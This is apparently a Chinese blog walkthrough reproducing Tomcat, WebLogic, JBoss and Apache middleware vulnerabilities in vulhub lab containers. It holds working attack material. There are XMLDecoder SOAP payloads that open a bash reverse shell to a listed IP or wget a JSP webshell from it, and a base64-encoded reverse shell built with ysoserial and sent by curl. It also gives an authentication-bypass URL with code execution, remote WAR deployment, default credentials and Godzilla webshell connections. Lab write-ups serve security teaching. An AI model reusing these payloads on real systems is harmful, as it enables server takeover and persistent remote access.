常见的中间件漏洞

一、Tomcat

1 CVE-2017-12615

环境搭建

cd vulhub-master/tomcat/CVE-2017-12615

docker-compose up -d

用哥斯拉生成一个jsp的木马

⾸⻚抓包,修改为 PUT ⽅式提交

默认的哥斯拉密码秘钥配置

访问我们上传的文件

Webshell客户端⼯具进⾏连接

2 后台弱⼝令部署war包

环境搭建

cd vulhub-master/tomcat/tomcat8

docker-compose up -d

可以把上一题的环境删除或者更改端口就可以启动成功了

默认密码:tomcat/tomcat

制作WAR包

制作WAR包,将JSP⽊⻢压缩为ZIP格式,然后修改后缀为war就可以了。

⽂件上传成功后,默认会在⽹站根⽬录下⽣成和war包名称⼀致得⽬录,然后⽬录中得⽊⻢就是压缩前的⽂件名。

使用哥斯拉连接

3 CVE-2020-1938

环境搭建

cd vulhub-master/tomcat/CVE-2020-1938

docker-compose up -d

tomcat默认的conf/server.xml中配置了2个Connector,⼀个为 8080 的对外提供的HTTP协议端⼝,另外⼀个就是默认的 8009 AJP协议端⼝,两个端⼝默认均监听在外⽹ip。

POC:

python Tomcat-ROOT路径下文件包含\(CVE-2020-1938\).py -p 8009 -f /WEB-INF/web.xml 8.140.254.245

⼆、WebLogic

1 后台弱⼝令GetShell

环境搭建

cd vulhub-master/weblogic/weak_password

docker-compose up -d

默认账号密码:weblogic/Oracle@123

weblogic常⽤弱⼝令:https://cirt.net/passwords?criteria=weblogic

这⾥注意, 单个账号错误密码5次之后就会⾃动锁定。

进入后台

Oracle WebLogic Server Administration Console

登录后台后,点击部署,点击安装,点击上传⽂件。

上传war包,jsp⽊⻢压缩成zip,修改后缀为war,上传

我们直接用我们之前的war包

然后⼀直下⼀步

然后访问我们上传的文件使用哥斯拉连接

2 CVE-2017-3506

还是上一题的环境

访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

验证是否存在wls-wsat组件

在当前⻚⾯抓包之后,添加下⾯请求包,反弹shell。

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/8.140.254.245/6666 0&gt;&amp;1</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

发送到重放器

改成自己的IP

提前开启nc监听

3 CVE-2019-2725

环境还是上一题的环境

.漏洞验证
http://8.140.254.245:7001/_async/AsyncResponseService

如果出现⼀下⻚⾯,则说明存在漏洞

在当前⻚⾯抓包 , 修改请求包 , 写⼊shell

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://8.140.254.245/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

先把我们的木马上传到我们的主机上

访问下载到weblogic服务器上的⽊⻢

进⾏链接

4 CVE-2018-2628

环境搭建

cd vulhub-master/weblogic/CVE-2018-2628

docker-compose up -d

直接使⽤利⽤ONE-FOX⼯具

5 CVE-2018-2894

环境搭建

cd vulhub-master/weblogic/CVE-2018-2894

docker-compose up -d

这⾥环境后台密码是随机得,获取密码: docker-compose logs | grep password

设置Web服务测试开启

http://8.140.254.245:7001/console/login/LoginForm.jsp

设置web服务测试开启: 域结构 -> base-domain -> ⾼级 -> 启动Web服务测试⻚

点击保存 , 进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录,访问这个⽬录是⽆需权限的,这⼀点很重要

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击安全 , 点击添加上传哥斯拉生成的木马

右键审查元素 , 然后搜索16 , 找到对应时间戳

Webshell链接

8.140.254.245:7001/ws_utc/css/config/keystore/1753961107165_shell.jsp

时间戳_⽂件名.jsp

6 CVE-2020-14882

环境搭建

cd vulhub-master/weblogic/CVE-2020-14882

docker-compose up -d

1.访问管理控制台

http://8.140.254.245:7001/console/login/LoginForm.jsp

2.使⽤以下url绕过登录认证

http://8.140.254.245:7001/console/css/%252e%252e%252fconsole.portal(一次不行试试两次)

此时达到未授权得效果。还未能GetShell。可以利⽤第⼆个漏洞(CVE-2020-14883),远程加载XML⽂件拿到Shell

⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令

http://8.140.254.245:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true\&_pageLabel=\&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/success');")

我们进⼊到docker中可以看到命令已经成功运⾏了

这种利⽤⽅法只能在 Weblogic 12.2.1 及以上版本中使⽤,因为 10.3.6 没有 class

三、Jboss

1 CVE-2015-7501

环境搭建

cd vulhub-master/jboss/JMXInvokerServlet-deserialization

docker-compose up -d

POC,访问地址

http://8.140.254.245:8080/invoker/JMXInvokerServlet

返回如下,说明接⼝开放,此接⼝存在反序列化漏洞

下载 ysoserial ⼯具进⾏漏洞利⽤

https://github.com/frohoff/ysoserial

将反弹shell进⾏base64编码

bash -i >& /dev/tcp/8.140.254.245/6666 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0MC4yNTQuMjQ1LzY2NjYgMD4mMQ==

java -jar ysoserial-all.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0MC4yNTQuMjQ1LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser

3.服务器设置监听得端⼝

nc -lvvp 6666

执⾏命令

curl http://8.140.254.245:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

2 CVE-2017-7504

环境搭建

cd vulhub-master/jboss/CVE-2017-7504

docker-compose up -d

访问漏洞地址

http://8.140.254.245:8080/jbossmq-httpil/HTTPServerILServlet

主机上python3 jexboss.py -u http://8.140.254.245:8080

利⽤:https://blog.csdn.net/weixin_44971640/article/details/128313851

3 CVE-2017-12149

环境搭建

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

访问漏洞⻚⾯

http://8.140.254.245:8080

验证是否存在漏洞 , 访问

http://8.140.254.245:8080/invoker/readonly

该漏洞出现在/invoker/readonly中 ,服务器将⽤户post请求内容进⾏反序列化

返回500,说明⻚⾯存在,此⻚⾯存在反序列化漏洞

使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可:⼯具

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

也可以直接执⾏命令:https://github.com/yunxu1/jboss-_CVE-2017-12149

4 Administration Console弱⼝令

环境与上一题一样

密码⽂件

/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties

账户密码:admin:vulhub

访问http://8.140.254.245:8080/admin-console/login.seam

登录后台点击web应⽤

上传我们的木马 shell.war(将shell.jsp压缩如何后缀从zip改为war)

连接WebShell

5 低版本JMX Console未授权

环境搭建

cd vulhub-master/jboss/CVE-2017-7504

docker-compose up -d

访问

http://8.140.254.245:8080/jmx-console/

2.这⾥我们使⽤得复现环境不存在,所以需要密码(正常环境⽆需密码直接可进⼊)

admin admin

然后找到jboss.deployment (jboss ⾃带得部署功能) 中的flavor=URL,type=DeploymentScanner点进去(通过URL的⽅式远程部署)

找到⻚⾯中的void addURL() 选项远程加载war包来部署。

制作war包 , 这⾥⽤之前制作好的 cmd.war

填写war包远程地址

http://8.140.254.245/cmd.war

webshell连接

http://8.140.254.245:8080/cmd/cmd.jsp

6 ⾼版本JMX Console未授权

环境搭建

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

http://8.140.254.245:8080/jmx-console/

因为使⽤环境不存在该漏洞所以需要输⼊账户密码:admin vulhub

本地搭建部署点

在JMX Console⻚⾯点击jboss.system链接,在Jboss.system⻚⾯中点击service=MainDeployer,如下

进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址进⾏远程部署

然后输⼊Invoke

连接Webshell

四、四、Apache

CVE-2021-41773

环境搭建

docker pull blueteamsteve/cve-2021-41773:no-cgid

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

⼯具验证

相关推荐
is081512 小时前
STM32 USB 设备中间件 tinyusb
stm32·嵌入式硬件·中间件
头发那是一根不剩了17 小时前
信创缓存中间件TongRDS(Redis平替)安装、接入SpringBoot全流程
redis·缓存·中间件·tongrds
在未来等你5 天前
RabbitMQ面试精讲 Day 5:Virtual Host与权限控制
中间件·面试·消息队列·rabbitmq
Whoisshutiao6 天前
网安-中间件-Redis未授权访问漏洞
中间件
半新半旧7 天前
FastAPI中间件
中间件·fastapi
努力找工作的OMArmy9 天前
分布式数据库中间件ShardingSphere
数据库·分布式·中间件
枷锁—sha12 天前
中间件安全攻防全解:从Tomcat到Weblogic反序列化漏洞介绍
安全·web安全·网络安全·中间件·tomcat
纪莫12 天前
Kafka为什么吞吐量大,速度快?
分布式·中间件·kafka·队列